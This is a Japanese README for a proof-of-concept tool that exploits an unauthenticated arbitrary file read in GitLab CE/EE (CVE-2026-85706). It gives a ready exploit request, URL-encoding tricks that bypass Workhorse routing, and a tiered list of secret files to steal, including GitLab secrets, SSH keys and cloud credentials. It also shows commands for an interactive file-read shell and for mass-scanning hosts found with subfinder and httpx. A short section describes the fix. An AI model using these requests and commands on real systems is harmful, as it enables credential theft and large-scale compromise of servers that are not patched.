
CVE-2026-85706 · GitLab CE/EE 未認証ファイル読み取り · oracle モード、fd 列挙、段階的ルートターゲティングを備えた研究用 PoC
自己管理型のGitLab CE/EEに影響を与える、認証不要の任意ファイル読み取りであるCVE-2026-85706のPoC。
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| 影響を受けるバージョン | 18.7 から 19.1.7、19.2.0 から 19.2.5、19.3.0 から 19.3.1 |
| 修正済み | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10 リリース) |
| コンポーネント | Repository Commits API / Files API (Workhorse body-upload) |
| 報告者 | s3ntago via GitLab HackerOne |
3つのリポジトリAPIエンドポイントがWorkhorseのrequestBodyUploaderの背後に存在します:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
Railsハンドラはauthenticate!の前にFile.open(params['file.path'])を呼び出します。4つの条件がこれを悪用可能にします:
1. 認証はファイル読み取りの後に発火する。
require_gitlab_workhorse!はGitlab-Workhorse-Api-Request JWTヘッダーのみをチェックします。Workhorseはプロキシするすべてのリクエスト、単純なパススルーを含めて、そのヘッダーを付与します。実際のauthenticate!はauthorize_push_to_branch!の内部にあり、これはfile_params_from_body_uploadがすでにディスクからファイルを読み取った後に実行されます。
2. file.pathはリクエストから直接取得される。
file_params_from_body_uploadはparams['file.path']を検証なしの絶対パスとして読み取ります。想定されたフローでは、Workhorseがアップロードを一時ファイルに書き込み、そのパラメータを自身で注入します。攻撃者はそれを、ファイルシステム上の任意の場所を指すクエリ文字列パラメータとして直接送信するだけです。
3. Workhorseのルートマッチングはパーセントエンコーディングをデコードしない。
Workhorseはアップロードルートを、受信した生のURLバイトであるEscapedPath()に対してマッチングします。PumaはGrapeへのルーティング前に%XXシーケンスをデコードします。そのため、静的セグメント内の1文字をエンコードすると、Workhorseはそのリライトルールをスキップする一方、Railsは依然として脆弱なハンドラにルーティングします:
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rackがエラーレスポンスにファイル内容をそのまま返す。
Content-Type: application/x-www-form-urlencodedの場合、ファイル内容はRack::Utils.parse_nested_queryに渡されます。2桁の16進数が続かない裸の%はInvalidParameterError: invalid %-encoding (<content>)を発生させます。ファイル内の最初の&までのすべてが400レスポンスボディにそのまま返されます。
裸の%を含まないファイルも、依然として認証前に読み取られます。urlencoded分岐からの401レスポンスとmultipart分岐からの500は、どちらもファイルが存在しgitユーザーによって読み取り可能であることを確認するため、存在オラクルとして有用です。
エクスプロイトリクエスト:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--fileは任意の単一ファイルを読み取ります。エコートリガーがない場合は自動的にオラクルにフォールスルーします--lootは7つのティアにわたる36のターゲットを、確認済みのエコートリガー確率順に実行します--oracleはエコーのないファイルに対してデュアル分岐プローブ(urlencoded + multipart)を実行し、それぞれが読み取り可能、存在しない、または読み取り不能かを通知します--procは/proc/self/fd/0-31を列挙して開いているファイルディスクリプタを見つけ、その後標準的な/proc偵察ターゲットを読み取ります--shellはcat、loot、oracle、project、curlコマンドを備えた対話型ファイル読み取りシェルに入ります--pipeはstdinからターゲットを読み取り、subfinder出力、httpxテキスト、httpx JSON、nuclei JSON、生のホスト行を処理します--listは1行に1つずつターゲットを記述したファイルを受け取ります--threadsは並行バルクスキャン用--proxyはすべてをBurpまたはmitmproxy経由でルーティングします--rawは装飾なしで生バイトをstdoutに書き込み、ファイルへのパイプに便利です--fullはloot、oracle、procを1回のパスで実行します-oによるJSONおよびJSONLレポート出力pip install requests
python3 gitread.py -h
Python 3.10以降が必要です。その他の依存関係はありません。
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdinがTTYでない場合は自動的に検出されるため、ほとんどの場合--pipeは省略可能です。
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
| 判定 | 意味 |
|---|---|
leak | ファイル内容が400ボディにそのまま返され、読み取りが確認された |
leak-frag | パラメータ型エラーによる部分的なエコー |
read-noecho | ファイルは認証前に読み取られたが、裸の%がないため何もエコーされなかった |
READABLE | multipart分岐が500を返し、ファイルが存在しgitユーザーによって読み取り可能 |
missing | サーバーがローカルファイルが存在しないと応答 |
rewrite | Workhorseがボディをリライトした、このバイパス形式は無効 |
noroute | Rails 404、インスタンスはパッチ済みかパスが間違っている |
server-error | 500、ファイルは存在するがパースエラーを引き起こした |
| ティア | ファイル | エコー |
|---|---|---|
| 1 | gitlab.rb、gitlab.yml、redis.conf | 内容が直接リークする |
| 2 | gitlab-secrets.json、secrets.yml、database.yml | オラクルのみ、純粋な16進数 |
| 3 | .gitlab_workhorse_secret | オラクルのみ |
| 4 | SSH秘密鍵とauthorized_keys | オラクルのみ |
| 5 | gitlab-shell.yml、gitaly.toml、PostgreSQL設定 | オラクルのみ |
| 6 | Kubernetesサービスアカウントトークン、AWS認証情報 | オラクルのみ |
| 7 | ホスト名、hosts、passwd、os-release、environ | オラクルのみ |
| フラグ | 説明 |
|---|---|
-t、-u、--target | 単一のベースURL |
--pipe | stdinからターゲットを読み取る |
--list FILE | ターゲットのファイル |
--file PATH | 読み取る単一の絶対パス |
--loot | 36ターゲットの完全なloot実行 |
--oracle | エコーのないファイルのデュアル分岐プローブ |
--proc | /proc fd列挙と偵察 |
--shell | スキャン後の対話型シェル |
--full | loot + oracle + proc |
--project-id ID | 自動検出の代わりにプロジェクトIDを強制 |
--force | ターゲットがGitLabとしてフィンガープリントされなくてもスキャン |
--raw | 装飾なしで生バイトをstdoutに書き込む |
--proxy URL | HTTP/Sプロキシ |
--threads N | パイプラインモードのワーカースレッド数 (デフォルト8) |
--timeout N | リクエストごとのタイムアウト秒数 (デフォルト15) |
-o FILE | レポートを保存 (.jsonで整形配列、それ以外はJSONL) |
-q、--quiet | ヒットのみを表示 |
-v、--verbose | すべてのプローブ試行を表示 |
--no-banner | バナーを抑制 |
終了コード: 0 リーク確認済み、1 オラクルのみまたはパイプラインでリークなし、2 何も見つからず。
masterコミット0d9ce3e7で修正され、1fe30154 / b43c8b26 / 0ff7b6b2としてバックポートされました。
同時に3つのことが変更されました:
authenticate!がfile_params_from_body_uploadの前に移動され、認証されていないリクエストではファイルが読み取られなくなったfile.pathは、生のクエリ文字列パラメータからではなく、有効なWorkhorse署名付きJWTを必要とするmultipartミドルウェアによって生成された型付きUploadedFileオブジェクトからのみ受け入れられるようになったInvalidParameterErrorがe.messageをレスポンスボディに補間しなくなり、最初の2つの修正を回避する方法を見つけたとしてもエコーチャネルが閉じられたこのバグは、commits APIのbody-uploadバリアントが追加されたGitLab 18.7 (2025年12月)で導入されました。
made with love by @plur1bu5 -- 役に立ったら、スターをいただけると嬉しいです